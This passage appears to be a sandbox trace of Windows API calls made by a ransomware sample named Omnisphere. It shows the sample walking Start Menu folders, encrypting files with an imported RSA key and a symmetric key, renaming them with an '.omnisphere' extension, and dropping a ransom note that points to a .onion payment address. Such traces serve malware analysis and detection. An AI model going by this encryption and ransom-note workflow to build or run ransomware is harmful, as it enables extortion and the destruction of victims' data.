nFileSizeLow=0x6bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Run.lnk.omnisphere", cAlternateFileName="RUNLNK~1.OMN")) returned 1 [0148.008] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x393465ad, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x393465ad, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x393465ad, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Run.lnk.omnisphere.id", cAlternateFileName="RUNLNK~1.ID")) returned 1 [0148.008] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38bd2ec2, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x38bd2ec2, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x39510917, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0148.008] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38bd2ec2, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x38bd2ec2, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x39510917, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0148.008] FindClose (in: hFindFile=0x1639628 | out: hFindFile=0x1639628) returned 1 [0148.008] GetProcessHeap () returned 0x1600000 [0148.008] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172d548 | out: hHeap=0x1600000) returned 1 [0148.008] GetProcessHeap () returned 0x1600000 [0148.008] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172c4c8 | out: hHeap=0x1600000) returned 1 [0148.008] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f42180e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2f42180e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2f7428a1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0148.008] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc861bda7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc861bda7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2f71c59c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Update and Privacy Settings.lnk.omnisphere", cAlternateFileName="UPDATE~1.OMN")) returned 1 [0148.008] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f6f650b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2f6f650b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2f71c59c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Update and Privacy Settings.lnk.omnisphere.id", cAlternateFileName="UPDATE~1.ID")) returned 1 [0148.008] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f428c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell", cAlternateFileName="WINDOW~1")) returned 1 [0148.008] GetProcessHeap () returned 0x1600000 [0148.008] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc0) returned 0x16415f0 [0148.008] PathCombineW (in: pszDest=0x16415f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", pszFile="Windows PowerShell" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell" [0148.008] GetProcessHeap () returned 0x1600000 [0148.008] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc4) returned 0x162c6c8 [0148.008] PathCombineW (in: pszDest=0x162c6c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\*" [0148.009] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f428c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbf, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0148.009] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f428c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbf, cFileName="..", cAlternateFileName="")) returned 1 [0148.009] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc8e8141c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0xbf, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0148.009] GetProcessHeap () returned 0x1600000 [0148.009] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd8) returned 0x172e780 [0148.009] PathCombineW (in: pszDest=0x172e780, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell", pszFile="desktop.ini" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini" [0148.009] StrStrW (lpFirst=".omnisphere", lpSrch=".ini") returned 0x0 [0148.009] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0148.010] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=218) returned 1 [0148.010] GetTickCount () returned 0x1164d1e [0148.010] GetTickCount () returned 0x1164d1e [0148.010] GetTickCount () returned 0x1164d1e [0148.010] GetTickCount () returned 0x1164d1e [0148.010] GetTickCount () returned 0x1164d1e [0148.010] GetTickCount () returned 0x1164d1e [0148.010] GetTickCount () returned 0x1164d1e [0148.010] GetTickCount () returned 0x1164d1e [0148.010] GetTickCount () returned 0x1164d1e [0148.010] GetTickCount () returned 0x1164d1e [0148.010] GetTickCount () returned 0x1164d1e [0148.010] GetTickCount () returned 0x1164d1e [0148.010] GetTickCount () returned 0x1164d1e [0148.010] GetTickCount () returned 0x1164d1e [0148.010] GetTickCount () returned 0x1164d1e [0148.010] GetTickCount () returned 0x1164d1e [0148.011] GetTickCount () returned 0x1164d1e [0148.011] GetTickCount () returned 0x1164d1e [0148.011] GetTickCount () returned 0x1164d1e [0148.011] GetTickCount () returned 0x1164d1e [0148.011] GetTickCount () returned 0x1164d1e [0148.011] GetTickCount () returned 0x1164d1e [0148.011] GetTickCount () returned 0x1164d1e [0148.011] GetTickCount () returned 0x1164d1e [0148.011] GetTickCount () returned 0x1164d1e [0148.011] GetTickCount () returned 0x1164d1e [0148.011] GetTickCount () returned 0x1164d1e [0148.011] GetTickCount () returned 0x1164d1e [0148.011] GetTickCount () returned 0x1164d1e [0148.011] GetTickCount () returned 0x1164d1e [0148.011] GetTickCount () returned 0x1164d1e [0148.011] GetTickCount () returned 0x1164d1e [0148.011] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x1668c58) returned 1 [0148.012] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x1639b68) returned 1 [0148.012] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0148.012] CryptDestroyKey (hKey=0x1639b68) returned 1 [0148.012] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0148.012] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xda, lpName=0x0) returned 0x388 [0148.012] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xda) returned 0x1480000 [0148.013] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x1668a38) returned 1 [0148.013] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x1639628) returned 1 [0148.013] CryptSetKeyParam (hKey=0x1639628, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0148.013] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0148.013] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.014] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.014] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.014] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.014] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.014] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.014] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.014] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.014] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.014] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.014] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.014] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.014] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.014] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0148.014] CryptDestroyKey (hKey=0x1639628) returned 1 [0148.014] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0148.014] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xda, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0148.014] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0148.030] GetProcessHeap () returned 0x1600000 [0148.030] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2e8) returned 0x172f730 [0148.030] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\desktop.ini.omnisphere")) returned 1 [0148.092] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini.omnisphere.id" [0148.092] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\desktop.ini.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0148.096] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0148.098] CloseHandle (hObject=0x3b4) returned 1 [0148.098] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0148.098] CloseHandle (hObject=0x388) returned 1 [0148.098] SetEndOfFile (hFile=0x3c0) returned 1 [0148.099] FlushFileBuffers (hFile=0x3c0) returned 1 [0148.146] CloseHandle (hObject=0x3c0) returned 1 [0148.147] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell") returned 1 [0148.147] GetProcessHeap () returned 0x1600000 [0148.147] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x172fd40 [0148.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0148.147] GetProcessHeap () returned 0x1600000 [0148.147] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fd938 [0148.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fd938, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0148.147] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0148.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0148.147] GetProcessHeap () returned 0x1600000 [0148.147] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726ab8 [0148.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726ab8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0148.147] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0148.147] GetProcessHeap () returned 0x1600000 [0148.147] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf0) returned 0x172fa20 [0148.147] PathCombineW (in: pszDest=0x172fa20, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\!DECRYPT_OMNISPHERE.txt" [0148.148] GetProcessHeap () returned 0x1600000 [0148.148] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1718e80 [0148.148] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0148.149] WriteFile (in: hFile=0x3c0, lpBuffer=0x1718e80*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x1718e80*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0148.150] CloseHandle (hObject=0x3c0) returned 1 [0148.150] GetProcessHeap () returned 0x1600000 [0148.150] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172fd40 | out: hHeap=0x1600000) returned 1 [0148.150] GetProcessHeap () returned 0x1600000 [0148.150] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe6) returned 0x172fe58 [0148.150] PathCombineW (in: pszDest=0x172fe58, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\unique_decrypt.key" [0148.150] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0148.151] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0148.152] CloseHandle (hObject=0x3c0) returned 1 [0148.153] GetProcessHeap () returned 0x1600000 [0148.153] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172fe58 | out: hHeap=0x1600000) returned 1 [0148.153] GetProcessHeap () returned 0x1600000 [0148.153] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172e780 | out: hHeap=0x1600000) returned 1 [0148.153] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210ad1cc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8bc, dwReserved0=0x0, dwReserved1=0xbf, cFileName="Windows PowerShell (x86).lnk", cAlternateFileName="WINDOW~4.LNK")) returned 1 [0148.153] GetProcessHeap () returned 0x1600000 [0148.153] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xfa) returned 0x172fb18 [0148.153] PathCombineW (in: pszDest=0x172fb18, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell", pszFile="Windows PowerShell (x86).lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk" [0148.153] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0148.153] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\windows powershell\\windows powershell (x86).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0148.154] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=2236) returned 1 [0148.154] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x398, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0148.154] ReadFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0cdc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesRead=0x3e0cdc4*=0x524, lpOverlapped=0x0) returned 1 [0148.161] GetTickCount () returned 0x1164dba [0148.161] GetTickCount () returned 0x1164dba [0148.161] GetTickCount () returned 0x1164dba [0148.161] GetTickCount () returned 0x1164dba [0148.161] GetTickCount () returned 0x1164dba [0148.161] GetTickCount () returned 